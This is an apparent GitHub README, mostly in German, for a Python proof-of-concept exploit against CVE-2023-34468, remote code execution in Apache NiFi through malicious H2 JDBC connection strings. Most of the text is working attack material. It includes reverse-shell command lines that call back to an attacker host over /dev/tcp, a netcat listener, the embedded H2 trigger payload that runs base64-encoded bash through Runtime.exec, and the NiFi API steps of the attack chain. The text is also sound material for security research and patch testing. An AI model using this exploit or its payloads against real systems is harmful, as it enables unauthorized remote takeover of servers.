
CVE-2023-34468 - Apache NiFi H2 RCE PoC
Dieses Repository stellt ein Python-basiertes Exploit-Tool für CVE-2023-34468 bereit, eine kritische Schwachstelle zur Remote-Code-Ausführung (CVSS 9.8) in Apache NiFi Versionen 0.0.2 bis 1.21.0. Es ermöglicht authentifizierten Benutzern, beliebigen Code auszuführen, indem H2-Datenbankverbindungszeichenfolgen mit eingebetteten Triggern manipuliert werden.
⚠️ Warnung: Nur für Bildungs- und autorisierte Testzwecke. Unbefugter Zugriff auf Computersysteme ist illegal.
requests Bibliotheknc -lnvp 5555)git clone https://github.com/Jeanpt/CVE-2023-34468.git
cd CVE-2023-34468
pip install -r requirements.txt
# Start your listener
nc -lnvp 5555
# Run the exploit — auth is auto-detected, no flags needed for open instances
python3 exploit.py \
-t http://nifi.target.com:8080 \
-c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
-lh ATTACKER_IP \
-lp 5555
python3 exploit.py \
-t https://nifi.target.com:8443 \
-c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
-lh ATTACKER_IP \
-lp 5555 \
-u admin -p password123
python3 exploit.py \
-t https://nifi.target.com:8443 \
-c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
-lh ATTACKER_IP \
-lp 5555 \
--token <your_bearer_token>
python3 exploit.py -t http://target:8080 -c "..." -lh ATTACKER_IP -lp 5555 --no-cleanup
python3 exploit.py --help
Überprüfung: Überprüfen Sie Ihren Listener auf die Reverse-Shell-Verbindung. Führen Sie id aus, um die Codeausführung zu bestätigen.
/nifi-api/system-diagnostics identifizieren/nifi-api/process-groups/root/controller-services/nifi-api/controller-services/{id}/run-status mit Status ENABLED/nifi-api/processors/{id}/run-status mit Status RUNNING — H2-Trigger feuert bei Verbindungjdbc:h2:file:/tmp/{random_db}.db;TRACE_LEVEL_SYSTEM_OUT=0\;CREATE TRIGGER {random_name}
BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec('bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}')
$$--=x
Wichtige Punkte:
\;BEFORE SELECT ON INFORMATION_SCHEMA.TABLES (automatisch ausgelöst)# Run exploit directly
python3 exploit.py -t http://target:8080 -c "bash -i >& /dev/tcp/10.10.16.46/5555 0>&1" -lh 10.10.16.46 -lp 5555
python3 exploit.py -t http://target:8080 -c "touch /tmp/pwned" -lh 127.0.0.1 -lp 5555
Dieses Tool wird nur für Sicherheitsforschung und autorisierte Tests bereitgestellt. Der Autor ist nicht verantwortlich für Missbrauch oder Schäden, die durch diesen Exploit verursacht werden. Testen Sie stets verantwortungsvoll nur in autorisierten Umgebungen.
MIT-Lizenz – Siehe LICENSE-Datei für Details
Entwickelt für Sicherheitsforschung und autorisierte Penetrationstests.
Topics: apache-nifi h2-database rce exploit cve-2023-34468 python security-research
| Befehl | Beschreibung |
|---|
-t, --target | URL der Ziel-NiFi-Instanz (erforderlich) |
-c, --command | Auszuführender Befehl (erforderlich) |
-lh, --lhost | Listener-Host für Rückruf (erforderlich) |
-lp, --lport | Listener-Port für Rückruf (erforderlich) |
-u, --username | NiFi-Benutzername (authentifizierte Instanzen) |
-p, --password | NiFi-Passwort (authentifizierte Instanzen) |
--token | Bearer-Token (authentifizierte Instanzen) |
--no-cleanup | Bereinigung nach Ausnutzung überspringen |
--delay | Sekunden warten vor Bereinigung (Standard: 10) |
--driver-path | H2-Treiber-Jar-Pfad überschreiben (standardmäßig ausgelassen) |